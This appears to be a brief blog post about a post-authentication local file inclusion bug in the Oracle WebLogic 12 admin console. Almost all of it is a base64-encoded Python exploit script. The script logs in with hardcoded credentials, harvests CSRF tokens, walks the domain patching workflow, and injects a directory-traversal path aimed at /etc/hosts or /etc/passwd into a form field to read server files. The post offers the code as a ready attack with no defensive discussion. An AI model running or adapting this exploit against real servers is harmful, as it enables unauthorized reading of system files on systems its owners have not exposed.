PostAuth LFI for Oracle Weblogic

Lost hope? Lost job? No-war-yes... :) "And until"...

TL;DR:

 :|

 

|:

---My naked selfie---

 c@box:~/_LABS/$ cat postauth_lfi_weblogic12.py | base64
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwojIHBvc3RhdXRoX2xmaV93ZWJsb2dpYzEyLnB5CiMKIyAy
Ny4wNi4yMDIxIEAgMTg6MTAKIyAKIyBwb3N0YXV0aCBsZmkgcG9jIGZvciBidWcgZm91bmQgfjIg
d2Vla3MgYWdvIGR1cmluZyBzb21lIHJlc2VhcmNoCiMgCiMgWVd4cGJtOWxDZz09CiMgCgppbXBv
cnQgcmVxdWVzdHMsIHJlLCBzeXMKCgojIG1haW4gZGVmaW5lczoKYmFzZV91cmwgPSAnaHR0cDov
LzE3Mi4xNy4wLjI6ODAwMScKbG9naW5fdXJsID0gJy9jb25zb2xlL2pfc2VjdXJpdHlfY2hlY2sn
CmxvZ21lX2luID0geydqX3VzZXJuYW1lJzond2VibG9naWMnLCdqX3Bhc3N3b3JkJzonQWJjMTIz
NDY1Jywnal9jaGFyYWN0ZXJfZW5jb2RpbmcnOidVVEYtOCd9CnpkdF9saW5rID0gJy8uLi4nCgpz
ZXNzID0gcmVxdWVzdHMuU2Vzc2lvbigpCgojIGluaXQgcmVxdWVzdApwcmludCgiW2ldIHByZXBh
cmluZyBpbml0IHJlcXVlc3Qgd2l0aCBsb2dpbiBkYXRhLi4uIikKY2hlY2tfdXJsID0gYmFzZV91
cmwgKyBsb2dpbl91cmwKaW5pdF9yZXEgPSBzZXNzLnBvc3QoY2hlY2tfdXJsLCBkYXRhPWxvZ21l
X2luKQppbml0X3Jlc3AgPSBpbml0X3JlcS50ZXh0CmluaXRfY29kZSA9IGluaXRfcmVxLnN0YXR1
c19jb2RlCgpwcmludCgiWytdIGN1cnJlbnQgdGVzdCBmb3IgdGFyZ2V0IFVSTDogJXMiICUgY2hl
Y2tfdXJsKQoKcHJpbnQoIlsrXSBjdXJyZW50IGhpc3RvcnkgZm9yIGxvZ21lX2luIHRyeToiKQpm
b3IgcmVzcCBpbiBpbml0X3JlcS5oaXN0b3J5OgogICAgcHJpbnQoIiAgQ29kZSAlcyBmb3IgJXMi
ICUgKHJlc3Auc3RhdHVzX2NvZGUsIHJlc3AudXJsKSkKCgoKIyAnY2xpY2snIENoYW5nZUNlbnRl
ckNsaWNrZWQgKCJMb2NrICYgRWRpdCIgYnV0dG9uIHRvIGdldCBhIHZhbHVlIGZvciBhbm90aGVy
IHJlcXVlc3QKZnJzY19kYXRhID0ge30KZnJzY19saW5rID0gYmFzZV91cmwgKyAnL2NvbnNvbGUv
Y29uc29sZS5wb3J0YWw/X25mcGI9dHJ1ZSZfcGFnZUxhYmVsPUhvbWVQYWdlMScKZnJzY19yZXEg
PSBzZXNzLmdldChmcnNjX2xpbmssIGRhdGE9ZnJzY19kYXRhKQpmcnNjX3Jlc3AgPSBmcnNjX3Jl
cS50ZXh0CgoKZmluZF9mcnNjID0gcmUuY29tcGlsZSgiQ2hhbmdlTWFuYWdlclBvcnRsZXRmcnNj
XCIgdmFsdWU9XCIoLio/KVwiIikKZm91bmRfZnJzYyA9IHJlLmZpbmRhbGwoZmluZF9mcnNjLCBm
cnNjX3Jlc3ApCgpmb3IgdG9rZW4gaW4gZm91bmRfZnJzYzoKICAgIHByaW50KCJbK10gdG9rZW4g
Zm91bmQ6ICVzIiAlIHRva2VuKQoKCgojIG5leHQgc3RlcDogcHJlcGFyaW5nICdjbGljaycgcmVx
dWVzdCB0byBlbmFibGUgJ2VkaXQnIGJ1dHRvbiAoYW5kIHBhdGNoIGJ1dHRvbiB0b28pCmNsaWNr
X2xpbmsgPSAnL2NvbnNvbGUvY29uc29sZS5wb3J0YWwnCmNsaWNrX2RhdGEgPSB7CiAgICAgICAg
J0NoYW5nZU1hbmFnZXJQb3J0bGV0X2FjdGlvbk92ZXJyaWRlJzonJTJGTWFrZUNoYW5nZXNBY3Rp
b24nLCdjaGFuZ2VDZW50ZXInOidDaGFuZ2VDZW50ZXJDbGlja2VkJywKICAgICAgICAnX25mcGIn
Oid0cnVlJywnX3BhZ2VMYWJlbCc6J0hvbWVSZXNlcnZlZCcsJ0NoYW5nZU1hbmFnZXJQb3J0bGV0
cmV0dXJuVG8nOiBmcnNjX2xpbmssCiAgICAgICAgJ0NoYW5nZU1hbmFnZXJQb3J0bGV0ZnJzYyc6
IHRva2VuIH0KY2xpY2tfZWRpdCA9IGJhc2VfdXJsICsgY2xpY2tfbGluawpjbGlja19yZXEgPSBz
ZXNzLnBvc3QoY2xpY2tfZWRpdCwgZGF0YT1jbGlja19kYXRhKQpjbGlja19yZXNwID0gY2xpY2tf
cmVxLnRleHQKCiMgJ2VkaXQnIHBvc3NpYmlsaXR5IHNob3VsZCBiZSBlbmFibGVkIG5vdy4gbmV4
dCBzdGVwOiBnbyB0byBaRFQgQ29udHJvbCBwYWdlIHRvIGNoZWNrIGZvciBlbmFibGVkICdQYXRj
aCcgYnV0dG9uOgpwYXRjaF9saW5rID0gYmFzZV91cmwgKyAnL2NvbnNvbGUvY29uc29sZS5wb3J0
YWw/X25mcGI9dHJ1ZSZfcGFnZUxhYmVsPURvbWFpblBhdGNoaW5nQm9vayZoYW5kbGU9Y29tLmJl
YS5jb25zb2xlLmhhbmRsZXMuSk1YSGFuZGxlJTI4JTIyY29tLmJlYSUzQU5hbWUlM0RiYXNlX2Rv
bWFpbiUyQ1R5cGUlM0REb21haW4lMjIlMjknCnBhdGNoX3Zlcl9yZXEgPSBzZXNzLmdldChwYXRj
aF9saW5rKQpwYXRjaF92ZXJfcmVzcCA9IHBhdGNoX3Zlcl9yZXEudGV4dAoKcGF0Y2hfdHJ5ID0g
cmUuY29tcGlsZSgnYnV0dG9uIHR5cGU9XCdidXR0b25cJyBvbmNsaWNrPVwnZGlzYWJsZUJ1dHRv
bnNcKFwpO3N3aXRjaFBvcnRsZXRcKCJEb21haW5QYXRjaGluZ1BhZ2UiLCJEb21haW5QYXRjaGlu
Z1BvcnRsZXQiLCJkb21haW53b3JrZmxvd3MiXCk7cmV0dXJuIGZhbHNlO1wnIG5hbWU9XCdQYXRj
aGRvbWFpblwnIGNsYXNzPSJmb3JtQnV0dG9uIlw+UGF0Y2hcPFwvYnV0dG9uXD4nKQpwYXRjaF90
cmllZCA9IHJlLmZpbmRhbGwocGF0Y2hfdHJ5LCBwYXRjaF92ZXJfcmVzcCkKCmlmIHBhdGNoX3Ry
aWVkOgogICAgcHJpbnQoIlsrXSBwYXRjaGVkISA6KSBDb250aW51aW5nLi4uIChmb2xsb3cgUGF0
Y2gpIikKCiAgICAjIGluIHRoaXMgc3RlcCB3ZSdyZSBjbGlja2luZyBwYXRjaCBidXR0b24gdG8g
c3RhcnQgZmlsbGluZyB0aGUgZm9ybSB0byBwYXRjaCA7XQogICAgcGF0Y2hpbmdfbGluayA9IGJh
c2VfdXJsICsgJy9jb25zb2xlL2NvbnNvbGUucG9ydGFsP0RvbWFpblBhdGNoaW5nUG9ydGxldHJl
dHVyblRvPURvbWFpblBhdGNoaW5nQm9vayZEb21haW5QYXRjaFRhYmxlUG9ydGxldGhhbmRsZT1j
b20uYmVhLmNvbnNvbGUuaGFuZGxlcy5KTVhIYW5kbGUlMjglMjJjb20uYmVhJTNBTmFtZSUzRGJh
c2VfZG9tYWluJTJDVHlwZSUzRERvbWFpbiUyMiUyOScKICAgIHBhdGNoaW5nX2RhdGEgPSB7J19w
YWdlTGFiZWwnOidEb21haW5QYXRjaGluZ1BhZ2UnLCdfbmZwYic6J3RydWUnLCdEb21haW5QYXRj
aGluZ1BvcnRsZXRmcnNjJzp0b2tlbn0KICAgIHBhdGNoaW5nX3JlcSA9IHNlc3MucG9zdChwYXRj
aGluZ19saW5rLCBkYXRhPXBhdGNoaW5nX2RhdGEpCiAgICBwYXRjaGluZ19yZXNwID0gcGF0Y2hp
bmdfcmVxLnRleHQKCiAgICBpZiAnV2hpY2ggcm9sbG91dCB0YXNrIGRvIHlvdSB3YW50IHRvIHBl
cmZvcm0gPycgaW4gcGF0Y2hpbmdfcmVzcDoKICAgICAgICBwcmludCgiWytdIHJvbGxvdXQgZm91
bmQhIGNvbnRpbnVlLi4uIikgIyBmb3JtIGZpZWxkIGNoZWNraW5nIHN0YXJ0ZWQgYXQgdGhpcyBz
dGFnZTsgY2xpY2tpbmcgJ25leHQnIG9uIHRoZSBwYXRjaC1mb3JtCgogICAgICAgIHJvbGxfbmV4
dF9saW5rID0gYmFzZV91cmwgKyAnL2NvbnNvbGUvY29uc29sZS5wb3J0YWw/RG9tYWluUGF0Y2hp
bmdQb3J0bGV0X2FjdGlvbk92ZXJyaWRlPS9jb20vYmVhL2NvbnNvbGUvYWN0aW9ucy9jb3JlL2Rv
bWFpbi9wYXRjaGluZy9yb2xsb3V0L3Rhc2tTZWxlY3RlZCcKICAgICAgICByb2xsX25leHRfZGF0
YSA9IHsnRG9tYWluUGF0Y2hpbmdQb3J0bGV0d29ya2Zsb3dUeXBlJzonamF2YUhvbWUnLCdEb21h
aW5QYXRjaGluZ1BvcnRsZXRmcnNjJzp0b2tlbn0KICAgICAgICByb2xsX25leHRfcmVxID0gc2Vz
cy5wb3N0KHJvbGxfbmV4dF9saW5rLCBkYXRhPXJvbGxfbmV4dF9kYXRhKQogICAgICAgIHJvbGxf
bmV4dF9yZXNwID0gcm9sbF9uZXh0X3JlcS50ZXh0CiAKICAgICAgICBpZiAnV2hhdCBpcyB0aGUg
bG9jYXRpb24gb2YgdGhlIG5ldyBKQVZBX0hPTUUgdG8gdXNlPyAnIGluIHJvbGxfbmV4dF9yZXNw
OgogICAgICAgICAgICBwcmludCgiWytdIHBhdGNoIG1lIGZvcm0gc3RhcnRlZCEgOykgQ29udGlu
dWUuLi4iKSAKCgogICAgICAgICAgICAjIGF0IHRoaXMgc3RhZ2UgaW4gb3VyIG5leHQgcmVxdWVz
dCB3ZSdsbCB0cnkgdG8gbWFrZSBhbiBlcnJvciB1c2luZyAnd3JvbmcgcGF0aCcgdG8gJ01pZ3Jh
dGlvbiBQcm9wZXJ0aWVzJyBmaWxlLiBleC4gL2V0Yy9wYXNzd2QKICAgICAgICAgICAgI21pZ3Jh
dGlvbl9wYXRoID0gJy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNz
d2QnCiAgICAgICAgICAgIG1pZ3JhdGlvbl9wYXRoID0gJy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4u
Ly4uLy4uLy4uL2V0Yy9ob3N0cycKICAgICAgICAgICAgbWlncmF0aW9uX2xpbmsgPSBiYXNlX3Vy
bCArICcvY29uc29sZS9jb25zb2xlLnBvcnRhbD9Eb21haW5QYXRjaGluZ1BvcnRsZXRfYWN0aW9u
T3ZlcnJpZGU9L2NvbS9iZWEvY29uc29sZS9hY3Rpb25zL2NvcmUvZG9tYWluL3BhdGNoaW5nL3Jv
bGxvdXQvZmluaXNoJwogICAgICAgICAgICBtaWdyYXRpb25fZGF0YSA9IHsKICAgICAgICAgICAg
ICAgICAgICAnRG9tYWluUGF0Y2hpbmdQb3J0bGV0amF2YUhvbWUnOidibGFoJywKICAgICAgICAg
ICAgICAgICAgICAnRG9tYWluUGF0Y2hpbmdQb3J0bGV0bWlncmF0aW9uUHJvcGVydGllcyc6IG1p
Z3JhdGlvbl9wYXRoLCAjIExGSQogICAgICAgICAgICAgICAgICAgICdEb21haW5QYXRjaGluZ1Bv
cnRsZXRzaHV0ZG93blRpbWVvdXQnOicwJywKICAgICAgICAgICAgICAgICAgICAnRG9tYWluUGF0
Y2hpbmdQb3J0bGV0ZGVsYXlCZXR3ZWVuTm9kZXMnOic2MCcsCiAgICAgICAgICAgICAgICAgICAg
J0RvbWFpblBhdGNoaW5nUG9ydGxldGRyeVJ1bic6J2ZhbHNlJywKICAgICAgICAgICAgICAgICAg
ICAnRG9tYWluUGF0Y2hpbmdQb3J0bGV0YXV0b1JldmVydE9uRmFpbHVyZSc6J29uJywKICAgICAg
ICAgICAgICAgICAgICAnRG9tYWluUGF0Y2hpbmdQb3J0bGV0YXV0b1JldmVydE9uRmFpbHVyZSc6
J3RydWUnLAogICAgICAgICAgICAgICAgICAgICdEb21haW5QYXRjaGluZ1BvcnRsZXRmcnNjJzog
dG9rZW4gCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICBtaWdyYXRpb25fcmVxID0g
c2Vzcy5wb3N0KG1pZ3JhdGlvbl9saW5rLCBkYXRhPW1pZ3JhdGlvbl9kYXRhKQogICAgICAgICAg
ICBtaWdyYXRpb25fcmVzcCA9IG1pZ3JhdGlvbl9yZXEudGV4dAoKICAgICAgICAgICAgIyBwcmlu
dChtaWdyYXRpb25fcmVzcCkKICAgICAgICAgICAgcHJpbnQoIlsrXSBSRVNQT05TRSBmb3IgJXMg
aXMgcHJlc2VudGVkIGJlbG93OlxuIiAlIG1pZ3JhdGlvbl9wYXRoKQoKICAgICAgICAgICAgZ2V0
X2NvbnRlbnQgPSByZS5maW5kYWxsKHIiKEpTT04pKC4qPykoXG4uPykuKj8iLCBtaWdyYXRpb25f
cmVzcCwgcmUuTVVMVElMSU5FKQogICAgICAgICAgICAjZ2V0X2NvbnRlbnQgPSByZS5maW5kYWxs
KHIiKEpTT04pKC4qPykoc3BhbikiLCBtaWdyYXRpb25fcmVzcCwgcmUuTVVMVElMSU5FKQogICAg
ICAgICAgICBwcmludCgnLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLScpCiAgICAgICAgICAgIHByaW50
KGdldF9jb250ZW50KQogICAgICAgICAgICAKCiAgICAgICAgICAgIHByaW50KCctLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLScpCiAgICAgICAgICAgIHByaW50KCJbK10gYXR0YWNrIGRvbmUuIGNoZWVy
cyFcbiIpCgoKCgoKCgpwcmludCgiLS0tLSIpCiNwcmludChwYXRjaF92ZXJfcmVzcCkKCgoKIyBw
YXRjaF9kYXRhID0ge30KCiNwYXRoMnBhdGNoID0gJy9jb25zb2xlL2NvbnNvbGUucG9ydGFsP0Rv
bWFpblBhdGNoaW5nUG9ydGxldF9hY3Rpb25PdmVycmlkZT0vY29tL2JlYS9jb25zb2xlL2FjdGlv
bnMvY29yZS9kb21haW4vcGF0Y2hpbmcvcm9sbG91dC9maW5pc2gnCiNwYXRjaF9saW5rID0gYmFz
ZV91cmwgKyBwYXRoMnBhdGNoCgojcGF0Y2hfcmVxID0gc2Vzcy5wb3N0KHBhdGNoX2xpbmssIGRh
dGE9cGF0Y2hfZGF0YSkKCgpwcmludCgiLS0tLS0tLS0tLS0tLS0iKQojcHJpbnQoZWRpdF9yZXNw
KQoKCgoK
c@box:~/_LABS/$

---ends-here---

*

o/